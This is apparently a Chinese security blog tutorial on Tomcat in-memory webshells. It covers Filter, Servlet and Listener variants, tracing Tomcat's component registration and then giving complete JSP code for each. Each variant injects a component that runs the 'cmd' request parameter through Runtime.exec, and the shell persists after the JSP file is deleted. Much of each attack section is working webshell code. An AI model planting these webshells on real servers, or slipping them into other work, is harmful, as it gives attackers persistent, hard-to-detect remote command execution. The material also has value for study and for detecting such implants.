Tomcat内存马
简介
Tomcat内存马主要分为三种,分别是Filter型、Servlet型和Listener型,其原理是动态的将恶意组件添加到正在运行的Tomcat服务器中。
使用范围
Servlet在3.0版本之后能够支持动态注册组件,而Tomcat7.x及以上支持Servlet3.0。
Filter型
源码分析
我们首先来实现一个简单的Filter
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("调用了Filter!");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
使用IDEA进行调试,在doFilter处进行断点,调用链如下:
我们向上回溯,首先看一下ApplicationFilterChain#internalDoFilter
在此处调用了filter.doFilter()方法,此处的filter为我们编写filter对象,该对象通过filterConfig.getFilter()从filterConfig中获取。而filterConfig从ApplicationFilterConfig类型的filters数组中获取。
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
每个filterConfig都对应着一个Filter,其中存储这此条Filter的各种信息,例如Filterdef和Filter对象等信息
filterDef中存放了filterClass、filterName等基本信息
我们来找一下存放filterConfig的数组filters[]在哪里被赋值
在StandardWrapperValve#invoke方法中,初始化了一个ApplicationFilterChain
类
跟进ApplicationFilterFactory#createFilterChain方法,首先会创建一个空的filterChain对象
然后通过wrapper.getParent()函数来获取StandardContext对象,并获取StandardContext对象中的FilterMaps
FilterMaps是存放FilterMap的数组,而FilterMap里主要存储Filter的名称和路径映射信息,其对应的是web.xml中的<filter-mapping>
标签
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
然后根据Filter的名称,在StandardContext中获取FilterConfig,通过filterChain.addFilter(filterConfig)将所有filterConfig添加到filterChain中
在filterChain.addFilter()方法中,filterConfig被添加至filters[]中,此时就完成了我们前面filters[]的获取问题
接着会回到StandardWrapperValve#invoke方法中,调用filterChain.doFilter方法
在filterChain.doFilter中会调用ApplicationFilterChain#internalDoFilter方法,至此Filter的创建过程清晰明了
从上面的分析可知,filter内存马的关键就是将恶意Filter的信息添加进FilterConfig数组和将恶意的filtermap添加进FilterMaps中,那么Tomcat在启动时就会自动初始化我们的恶意Filter,并在访问相应的路径时触发代码。
动态注册Filter
经过上面的分析,我们可以总结出动态注册Filter的流程:
- 获取上下文对象StandardContext
- 创建恶意Filter
- 构造FilterDef封装filter
- 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
- 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
我们一步一步完成:
获取StandardContext对象
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意Filter
public class Filter_Shell implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+"\n");
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
构造FilterDef封装filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
创建filterMap并放入filterMaps
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
完整代码
<%--
Created by IntelliJ IDEA.
User: Christ1na
Date: 2023/2/15
Time: 10:25
To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<%!
public class Filter_Shell implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+"\n");
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
Filter_Shell filter = new Filter_Shell();
String name = "Christ1na";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>
先访问jsp木马,动态注册恶意Filter
然后访问任意路由即可执行命令,即使删除此jsp文件
Servlet型
源码分析
根据前置知识和Filter型内存马的分析,我们可以知道,要想动态注册Servlet型内存马,我们需要在Tomcat启动的时候进行动态注册,我们来分析一下Tomcat服务器初始化的过程中,是如何加载Servlet的
创建StandardWrapper
首先是获取并解析web.xml获取各种配置参数,然后在configureContext()中调用了createWrapper()创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
继续往下,会配置Wrapper
的ServletClass
将配置好的wrapper
放入StandardContext
的Child
里
通过addServletMappingDecoded()
方法添加Servlet对应的url映射
加载StandardWrapper
首先在StandardContext#startInternal方法中获取到StandardWrapper类
然后通过loadOnStartUp()方法加载wrapper
在此方法中,指挥加载所有loadOnStartup属性值大于0的wrapper,其默认为-1,此时selvet加载完毕
动态注册Servlet
经过上面的分析,我们可以总结出动态注册Servlet的流程:
- 获取StandardContext对象
- 编写恶意Servlet
- 通过StandardContext.createWrapper()创建StandardWrapper对象
- 设置StandardWrapper对象的各种属性值
- 将StandardWrapper对象添加进StandardContext对象的children属性中
- 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
获取StandardContext对象
<% ServletContext servletContext = request.getSession().getServletContext();
Field field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
%>
或者
<% Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
编写恶意Servlet
public class Servlet_Shell implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
创建StandardWrapper对象
<%
Servlet_Shell Servlet_Shell = new Servlet_Shell();
String name = Servlet_Shell.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
将Wrapper添加进StandardContext
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
完整代码
<%--
Created by IntelliJ IDEA.
User: Christ1na
Date: 2023/3/3
Time: 16:19
To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
<%!
public class Servlet_Shell implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
Servlet_Shell Servlet_Shell = new Servlet_Shell();
String name = Servlet_Shell.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(Servlet_Shell);
wrapper.setServletClass(Servlet_Shell.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
先访问jsp文件,然后成功注册内存马
Listener型
Listener分为三种:
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
显然最适合做内存马的是ServletRequestListener,其用来监听ServletRequest对象的,当我们访问任意资源时都会触发
源码分析
我们首先来实现一个简单的ServletRequestListener
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
@WebListener
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println("destroyde TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("initializde TestListener");
}
}
在requestDestroyed方法打上断点进行调试,可以发现是StandardContext#fireRequestDestroyEvent()中调用了requestDestroyed(),而我们的listener对象是由getApplicationEventListeners()进行获取
跟进此方法,发现Listener是存储于applicationEventListenersList属性中
我们可以通过StandardContext#addApplicationEventListener()来添加Listener
动态注册Listener
经过上面的分析,我们可以总结出动态注册Listener的流程:
- 获取上下文对象StandardContext
- 创建恶意Listener
- 使用addApplicationEventListener()方法添加恶意的Listener
获取StandardContext
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
或者
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
创建恶意Listener
<%!
public class Listener_Shell implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
添加恶意的Listener
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
完整代码
<%--
Created by IntelliJ IDEA.
User: Christ1na
Date: 2023/3/3
Time: 16:49
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Listener_Shell implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Listener_Shell Listener_Shell = new Listener_Shell();
context.addApplicationEventListener(Listener_Shell);
%>
访问此恶意jsp后成功注册内存马
参考链接:
https://goodapple.top/archives/1355#leftbar_tab_catalog
http://blog.o3ev.cn/yy/1509